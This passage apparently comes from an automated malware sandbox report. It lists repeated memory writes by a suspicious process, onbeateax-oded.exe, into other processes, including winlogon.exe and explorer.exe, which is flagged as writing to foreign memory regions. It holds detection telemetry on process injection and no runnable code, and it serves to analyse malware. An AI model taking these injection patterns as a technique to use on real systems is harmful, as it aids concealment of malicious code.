Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10AA0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10AB0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10AC0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10AD0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10AE0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10AF0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10B00000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10B10000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10B20000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10B30000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10B40000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10B50000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10B60000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10B70000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10B80000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10B90000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10BA0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10BB0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10BC0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10BD0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10BE0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10BF0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10C00000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10C10000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10C20000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10C40000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10D40000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10D50000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10D60000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10D70000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10D80000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10D90000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10DA0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10DB0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10DC0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10DD0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10CE0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10CF0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10D00000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10DE0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10DF0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10C30000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10CD0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10E00000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10D10000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10D20000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10D30000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10E10000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10E20000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10E30000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10E40000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10E50000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10E60000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10E70000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10E80000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10E90000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10EA0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10EB0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10EC0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10ED0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10EE0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10EF0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10F00000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10F10000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10F20000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10F30000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10F40000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10F50000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10F60000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10F70000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10F80000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: PID: 4056 base: 10F90000 value: 43	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\System32\winlogon.exe base: 3CAE0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8550000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 2F10000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 7C30000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8560000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8590000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8850000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8940000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8950000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8970000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 97A0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 97B0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 97C0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 97E0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 97F0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9800000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: B060000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: B190000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E330000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8650000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8660000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8670000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8680000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E340000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8730000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8740000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8830000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 88C0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 88D0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8900000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 88E0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8330000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8340000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8350000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8360000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8370000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8380000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 83A0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 88F0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8910000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8920000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9720000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8930000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 92E0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 92F0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9300000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9310000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9320000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9330000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9340000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9730000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9740000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9750000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9760000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9770000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9780000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9790000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E1C0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E1D0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E1E0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E1F0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E200000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8390000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 2B90000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 2BA0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 2BB0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 2BC0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 2BF0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 2C00000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 86A0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E210000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E220000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E230000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E350000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E360000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E600000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E610000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E620000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E630000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E740000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E7A0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E770000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E750000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: E760000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 2F20000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8510000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 85B0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 8880000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9470000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 84F0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 85C0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9480000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9490000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 94A0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 94B0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 94C0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 94D0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 94E0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 94F0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9500000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9510000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9520000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9530000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9540000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9550000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9560000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9620000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9630000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9640000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9650000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9660000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9670000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9680000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9690000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 96A0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 96B0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 96C0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 96D0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 96E0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 96F0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9700000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9710000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9960000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9970000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9980000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9990000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 99A0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 99B0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9AC0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9AD0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9A60000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9A70000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9A80000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9AE0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9A40000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9A50000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9A90000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9AA0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9AB0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9AF0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9B00000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9B10000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9B20000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9B30000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9B40000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9B50000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9B60000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9B70000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9B80000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9B90000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9BA0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9BB0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9BC0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9BD0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9BE0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9BF0000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9C00000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9C10000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9C20000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9C30000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9C40000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: 9C50000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: AC40000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: AC50000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: AC60000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: AC70000	Jump to behavior
Source: C:\Windows\SysWOW64\onbeateax-oded.exe	Memory written: C:\Windows\explorer.exe base: AC80000	Jump to behavior
